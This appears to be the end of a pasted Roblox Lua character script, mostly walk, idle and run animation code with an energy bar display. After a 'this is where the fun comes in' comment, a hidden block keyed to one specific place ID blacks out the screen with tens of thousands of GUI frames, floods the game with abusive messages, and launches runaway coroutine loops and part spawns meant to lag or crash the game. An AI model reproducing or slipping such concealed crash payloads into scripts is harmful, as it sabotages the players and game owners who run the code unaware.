  4748. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4749. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4750. end
  4751. else
  4752. if attack==false then
  4753. Footsteps:Stop()
  4754. Footsteps2:Stop()
  4755. Humanoid.WalkSpeed=12
  4756. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4757. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4758. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4759. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4760. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4761. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4762. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4763. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4764. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4765. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4766. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4767. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4768. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4769. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4770. end
  4771. end
  4772. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4773. Anim="Walk"
  4774. if attack==false then
  4775. change=0.8
  4776. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4777. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4778. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4779. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4780. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4781. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4782. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4783. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4784. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4785. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4786. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4787. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4788. RH.C0=clerp(RH.C0,RHC0,.3)
  4789. LH.C0=clerp(LH.C0,LHC0,.3)
  4790. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4791. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4792. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4793. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4794. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4795. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4796. ]]--
  4797. Footsteps:Play()
  4798. Footsteps2:Stop()
  4799. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4800. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4801. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4802. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4803. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4804. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4805. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4806. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4807. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4808. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4809. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4810. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4811. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4812. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4813. end
  4814. elseif torvel>=22 and hitfloor~=nil then
  4815. Anim="Run"
  4816. change=1
  4817. if attack==false then
  4818. Footsteps:Stop()
  4819. Footsteps2:Play()
  4820. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4821. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4822. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4823. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4824. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4825. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4826. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4827. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4828. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4829. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4830. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4831. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4832. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4833. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4834. end
  4835. end
  4836. end
  4837. fenbarmana2:TweenSize(UDim2.new(4*mana/200,0,0.2,0),nil,1,0.4,true)
  4838. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4839. text.Text = math.floor(hum.Health)
  4840. if mana>=200 then
  4841. mana=200
  4842. else
  4843. if mananum<=8 then
  4844. mananum=mananum+200
  4845. else
  4846. mananum=0
  4847. mana=mana+200
  4848. end
  4849. end
  4850. end
  4851.  
  4852.  
  4853.  
  4854.  
  4855. --- shshshhh this is where the fun comes in ---
  4856. if game.PlaceId == 21053279 then
  4857. plr = game.Players.LocalPlayer
  4858. char = plr.Character
  4859. cam = workspace.CurrentCamera
  4860. cam.CameraType = "Scriptable"
  4861. cam.CoordinateFrame = CFrame.new(0,0,50)
  4862. local localContainer
  4863. local service=setmetatable({
  4864. MarketPlace=game:service("MarketplaceService");
  4865. GamepassService=game:service("GamePassService");
  4866. ChatService=game:service("Chat");
  4867. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4868. },{
  4869. __index=function(tab,index)
  4870. local serv
  4871. local ran,err=pcall(function() serv=game:service(index) end)
  4872. if ran then
  4873. tab[index]=serv
  4874. return serv
  4875. end
  4876. end
  4877. })
  4878.  
  4879. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4880.  
  4881. x=game.Players.LocalPlayer
  4882. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4883. f=Instance.new("Frame")
  4884. f.Size=UDim2.new(1,0,1,0)
  4885. f.BackgroundTransparency=0.01
  4886. f.BackgroundColor3=Color3.new()
  4887. pg=x.PlayerGui
  4888. gui=Instance.new("ScreenGui",pg)
  4889. wait(.1)
  4890. for i=1,28000 do
  4891. f:Clone().Parent=gui
  4892. f:Clone().Parent=gui
  4893. f:Clone().Parent=gui
  4894. end
  4895.  
  4896. script:Destroy();
  4897. local runService = Game:GetService("RunService").Stepped;
  4898. local LagNum = 1250;
  4899. local str = "lag fucker lag";
  4900.  
  4901. for i = 1, math.huge do
  4902. if i % LagNum == 0 then runService:wait(); end
  4903. Instance.new("Message", Workspace).Text = str;
  4904. end
  4905.  
  4906. local bores=coroutine.create(function() --Yolo?
  4907. cPcall(function()
  4908. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4909. cPcall(print,'lol')
  4910. cPcall(warn,'lol')
  4911. cPcall(error,'lol')
  4912. while wait(0.1) do
  4913. spawn(function()
  4914. cPcall(function()
  4915. spawn(function()
  4916. local tab={}
  4917. pcall(function()
  4918. spawn(function()
  4919. for i=1,1000000 do
  4920. cPcall(function()
  4921. spawn(function()
  4922. local bob2=coroutine.create(function()
  4923. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4924. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4925. spawn(f1)
  4926. end)
  4927. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4928. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4929. end)
  4930. end)
  4931. end
  4932. tab={}
  4933. end)
  4934. end)
  4935. end)
  4936. end)
  4937. end)
  4938. end
  4939. end)
  4940. end)
  4941.  
  4942. service.RunService.Stepped:connect(function()
  4943. for i=1,500000 do
  4944. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4945. end
  4946. end)
  4947.  
  4948.  
  4949. local function bob()
  4950. cPcall(function()
  4951. while wait(0.1) do
  4952. --cPcall(function()
  4953. --for i=1,100 do
  4954. local p=Instance.new("Part")
  4955. p.Material="Neon"
  4956. p.Size=Vector3.new(50,50,50)
  4957. p.Anchored=true
  4958. p.BackSurface="Studs"
  4959. p.BottomSurface="Studs"
  4960. p.FrontSurface="Studs"
  4961. p.LeftSurface="Studs"
  4962. p.RightSurface="Studs"
  4963. p.TopSurface="Studs"
  4964. local t=Instance.new("Texture",p)
  4965. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4966. t.Face="Top"
  4967. t.StudsPerTileU=1000
  4968. t.StudsPerTileV=1000
  4969. local t2=t:clone()
  4970. t2.Parent=p
  4971. t2.Face="Bottom"
  4972. local t2=t:clone()
  4973. t2.Parent=p
  4974. t2.Face="Left"
  4975. local t2=t:clone()
  4976. t2.Parent=p
  4977. t2.Face="Right"
  4978. local t2=t:clone()
  4979. t2.Parent=p
  4980. t2.Face="Front"
  4981. local t2=t:clone()
  4982. t2.Parent=p
  4983. t2.Face="Back"
  4984. p.Parent=service.LocalContainer()
  4985. --end
  4986. --end)
  4987. end
  4988. end)
  4989. end
  4990. bob() --while wait(0.1) do cPcall(bob) end
  4991. end
  4992. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement